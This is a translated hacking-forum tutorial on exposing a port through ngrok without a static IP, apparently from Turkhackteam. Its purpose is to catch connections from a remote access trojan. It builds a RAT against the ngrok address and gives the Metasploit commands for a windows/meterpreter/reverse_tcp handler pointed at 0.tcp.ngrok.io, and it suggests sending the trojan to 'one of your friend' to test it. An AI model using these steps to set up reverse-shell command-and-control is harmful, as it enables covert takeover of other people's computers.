How to do port forwarding without static IP?

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Kullanıcı1233

Kıdemli Üye
19 Tem 2011
4,371
12
In this article, i'm gonna show you how to do port forwarding without static IP.

But, first of all:

What is IP Address?

An Internet Protocol address is a numerical label assigned to each device connected to a computer network that uses the Internet Protocol for communication. An IP address serves two main functions: host or network interface identification and ******** addressing.

What is Port?

In computer networking, a port is a communication endpoint.

Ports are divided into 2 parts:

1) Physical Ports

A physical port is where communication begins or ends on a physical device or unit of equipment. Such as:

- USB Port
- Modem or Telephone Port
- LAN or Ethernet Port

2) Logical Ports

- 443 Port (SSL)
- 80 Port (HTTP)
- 22 Port (SSH)

I'm gonna do it in Linux OS but you can do it in Windows too.

As a first step, click on this link: https://ngrok.com/

dL6lr7.png


Click on the "Sign Up" button from top-right.

nbv96R.png


Fill out that form.

Rga8Za.png


When you're done, click on "Create an account" button.

6D4pW3.png


Download it for your own operating system.

P7R2Z7.png


Let's save file and move it to desktop.

odLqMq.png


cd ..
cd Downloads
cp (filename) /home/user/Desktop

And then extract whatever inside the file to desktop.

lQoPAl.png


Go back to website and copy the code from 3rd section "Connect your account".

1p9a9A.png


Open Terminal.

[/IMG]https://i.hizliresim.com/r0qpB7.png[/IMG]

Type the code you copied before and click enter.

There has to be an output like "Authtoken saved to configuration file". If so, you're in right way.

XbnNWk.png


./ngrok tcp (anyportyouwant)

LvJNdo.png


As you can see, it's on now. Don't close this Terminal tab. You can get the IP address from Forwarding part.

Let's try to build a rat with our port and see if that works.

QPkNJj.png


Let's try to listen our rat now.

Type: "msfconsole"

OrWNRn.png


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.tcp.ngrok.io
set LPORT 5555
run

qAgp4Z.png


You can check it by sending to one of your friend or your own virtual machine.

bvOp2j.png


We got the connection, it means our port has been opened successfully.

Kod:
Original: https://www.turkhackteam.org/network/1889387-sabit-ipye-sahip-olmadan-port-acma-uchiha-sasuke.html
Translator: R4V3N
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.